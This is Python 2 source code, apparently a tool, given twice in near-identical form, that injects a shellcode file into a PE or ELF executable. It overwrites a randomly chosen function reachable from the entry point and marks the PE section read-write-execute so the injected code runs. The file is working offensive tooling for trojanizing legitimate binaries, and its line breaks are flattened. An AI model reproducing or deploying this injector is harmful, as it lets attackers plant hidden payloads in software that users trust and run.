class CPatcher: def __init__(self, binary, sc, out): self.binary = binary self.sc = sc self.out = out self.pyew = CPyew(False, False) self.sc_buf = None def loadFiles(self): try: self.pyew.deepcodeanalysis = False print "[+] Loading and analysing file %s" % self.binary self.pyew.loadFile(self.binary) except: print "[!] Error loading binary file:", sys.exc_info()[1] return False try: self.sc_buf = open(self.sc, "rb").read() except: print "[!] Error reading shellcode file:", sys.exc_info()[1] return False if self.pyew.format not in ["PE", "ELF"]: print "[!] Format %s not supported" % self.pyew.format return False print "[i] Total of %d function(s) found in %s file" % (len( self.pyew.functions), self.pyew.format) print "[i] Entry point function %s at 0x%08x" % ( self.pyew.names[self.pyew.ep], self.pyew.ep) return True def internalPatch(self, off): """ Patch at offset 'off' with the contents of the shellcode """ buf = self.pyew.getBuffer() out_buf = buf[:off] + self.sc_buf + buf[off + len(self.sc_buf):] # Adjust section's privileges for PE files if self.pyew.format == "PE": pe = pefile.PE(data=out_buf) IMAGE_SCN_MEM_READWRITEEXEC = 0xe0000000L for section in pe.sections: if off >= section.PointerToRawData and off <= section.PointerToRawData + section.SizeOfRawData: print "[+] Patching section %s" % section.Name section.Characteristics |= IMAGE_SCN_MEM_READWRITEEXEC try: print "[+] Writing output file %s" % self.out if self.pyew.format != "PE": f = open(self.out, "wb") f.write(out_buf) f.close() else: pe.write(self.out) return True except: print "[!] Error writing output file", sys.exc_info()[1] return False def findFunctionAndPatch(self): """ Find a random function called from the entry point to patch """ g = self.pyew.callgraph funcs = g.nodes() ep = g.node(self.pyew.names[self.pyew.ep]) while 1: f = random.choice(funcs) if f == ep: continue path = g.searchPath(ep, f) if path is not None: f = self.pyew.getFunction(f.name) print "[i] Function at offset 0x%08x will be patched" % f break return self.internalPatch(f) def patch(self): if self.loadFiles(): return self.findFunctionAndPatch() return False
class CPatcher: def __init__(self, binary, sc, out): self.binary = binary self.sc = sc self.out = out self.pyew = CPyew(False, False) self.sc_buf = None def loadFiles(self): try: self.pyew.deepcodeanalysis = False print "[+] Loading and analysing file %s" % self.binary self.pyew.loadFile(self.binary) except: print "[!] Error loading binary file:", sys.exc_info()[1] return False try: self.sc_buf = open(self.sc, "rb").read() except: print "[!] Error reading shellcode file:", sys.exc_info()[1] return False if self.pyew.format not in ["PE", "ELF"]: print "[!] Format %s not supported" % self.pyew.format return False print "[i] Total of %d function(s) found in %s file" % (len(self.pyew.functions), self.pyew.format) print "[i] Entry point function %s at 0x%08x" % (self.pyew.names[self.pyew.ep], self.pyew.ep) return True def internalPatch(self, off): """ Patch at offset 'off' with the contents of the shellcode """ buf = self.pyew.getBuffer() out_buf = buf[:off] + self.sc_buf + buf[off+len(self.sc_buf):] # Adjust section's privileges for PE files if self.pyew.format == "PE": pe = pefile.PE(data=out_buf) IMAGE_SCN_MEM_READWRITEEXEC = 0xe0000000L for section in pe.sections: if off >= section.PointerToRawData and off <= section.PointerToRawData+section.SizeOfRawData: print "[+] Patching section %s" % section.Name section.Characteristics |= IMAGE_SCN_MEM_READWRITEEXEC try: print "[+] Writing output file %s" % self.out if self.pyew.format != "PE": f = open(self.out, "wb") f.write(out_buf) f.close() else: pe.write(self.out) return True except: print "[!] Error writing output file", sys.exc_info()[1] return False def findFunctionAndPatch(self): """ Find a random function called from the entry point to patch """ g = self.pyew.callgraph funcs = g.nodes() ep = g.node(self.pyew.names[self.pyew.ep]) while 1: f = random.choice(funcs) if f == ep: continue path = g.searchPath(ep, f) if path is not None: f = self.pyew.getFunction(f.name) print "[i] Function at offset 0x%08x will be patched" % f break return self.internalPatch(f) def patch(self): if self.loadFiles(): return self.findFunctionAndPatch() return False